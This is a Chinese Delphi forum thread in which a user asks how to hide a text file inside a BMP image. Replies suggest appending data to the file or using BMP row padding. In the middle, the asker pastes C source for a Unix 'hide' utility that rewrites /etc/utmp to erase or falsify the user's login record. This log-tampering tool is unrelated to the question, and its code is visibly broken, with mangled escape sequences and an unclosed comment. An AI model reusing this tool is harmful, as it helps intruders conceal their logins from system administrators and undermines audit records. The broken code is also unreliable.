高手请进,吐血送分!!!(155分)

  • 主题发起人 主题发起人 ybsnui
  • 开始时间 开始时间
Y

ybsnui

Unregistered / Unconfirmed
GUEST, unregistred user!
如何实现将不同格式的文件(如:TXT文本)隐藏存入BMP图象文件中???
而且还可以读取还原。??有d5源码的最好!!!谢了!
 
copy 到文件最后好了,定个文件头字符串(8晓得有没有用)
 
bmp 的每一行数据是相对 32-bit 对齐的。比较好的情况是一行数据只有 4a+1 字节。
这样就可以存储 3 个字节。
你要好好学习一下 bmp 文件的结构。
 
有C的源代码,谁能转换为delphi的??????再加50分!!!!!!!


#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <pwd.h>

#define UTMPFILE "/etc/utmp"

FILE *utmpfile;
char *utmp_tmp[10240];

main (argc, argv)
int argc;
char *argv[];
{

struct utmp *user_slot;
struct passwd *pwd;
char line[10], name[10], host[20];
int index;

printf ("Welcome to HIDE ! FORMAT: hide [-i]/n/n");
utmpfile = fopen (UTMPFILE, "r+");


if (utmpfile == NULL)
{
printf ("ERROR while opening utmp file... exiting.../n");
exit ();
}
index = ttyslot(); /* Get
index *= sizeof(struct utmp); /* 36 */
fseek(utmpfile, index, 0);
/**** Get real UID ****/
pwd = getpwuid (getuid());
if (pwd == NULL)
printf ("Who the hell are you???");
else
{
printf ("Real user identity:/n");
printf ("NAME %s/n", pwd->pw_name);
printf (" UID %d/n", pwd->pw_uid);
printf (" GID %d/n/n", pwd->pw_gid);
}
/**** If ARG1 = "-i" then disappear from utmp ****/
if ( (argc>1) && (!strcmp(argv[1], "-i")) )
{
index+=8; /* Rel PNT name */
fseek(utmpfile, index, 0);

fwrite ("/000", 8, 1, utmpfile); /* NO NAME */
fwrite ("/000", 8, 1, utmpfile); /* NO HOST */
fclose(utmpfile);
printf ("Removed from utmp/n");
exit();
}
/**** Change utmp data ****/
printf ("Enter new data or return for default:/n");
fseek(utmpfile, index, 0); /* Reset file PNT */
fread(line, 8, 1, utmpfile); line[8]=NULL;
fread(name, 8, 1, utmpfile); name[8]=NULL;
fread(host, 16, 1, utmpfile); host[16]=NULL;
fseek(utmpfile, index, 0); /* Reset file PNT */
dinput (" TTY [%s]%s", line, 8);
dinput ("NAME [%s]%s", name, 8);
dinput ("HOST [%s]%s", host, 16);
fclose(utmpfile);
}

/* Data input */
dinput (prompt, string, size)
char *prompt;
char *string;

int size;
{
char input[80];
char *stat;
char space[] = " ";

space[20-strlen(string)] = '/000';
printf (prompt, string, space);
stat = gets (input);
if (strlen(input) > 0)
fwrite (input, size, 1, utmpfile);
else
fseek (utmpfile, size, 1);
}

 
我记得有一种加密的方法就是这样子的,把文件隐藏在图片里,其他就不知道了
 
关键:
#include <utmp.h>
#include <pwd.h>
请把上面两个文件也贴上来,
 
拜托!有没有高手????? 分不够,还可以再加!!!!!!
 
愿意加多少?
 
BMP有自己的格式,正因为如此,你在它的末尾直接添加东西,不会影响图片的显示,
所以嘛,实现的方法就很简单了,用EXE文件添加的方法都可以,这样的贴子很多了
你搜索一下就有,我的主页还有一个EXE文件加密气的源代码,原理都是一样的,
http://mantousoft.51.net/delphi_work/work_filelock.php
自己去看看吧,根本不会有什么难的:)祝你成功!!
 
to ht99 :
你会吗?帮帮我!告诉我用delphi实现的方法,分数全送给你!!!!!

to mantousoft:
能给我一个详细点的源码吗?拜托了!!!分数一定送上!!!!!
 
有真正的大虾吗?????
有高手吗?????
55555555555555555555555555555555555555555555555555555555555555555555555555555555
 
多人接受答案了。
 

Similar threads

回复
0
查看
1K
不得闲
回复
0
查看
992
不得闲
D
回复
0
查看
839
DelphiTeacher的专栏
D
后退
顶部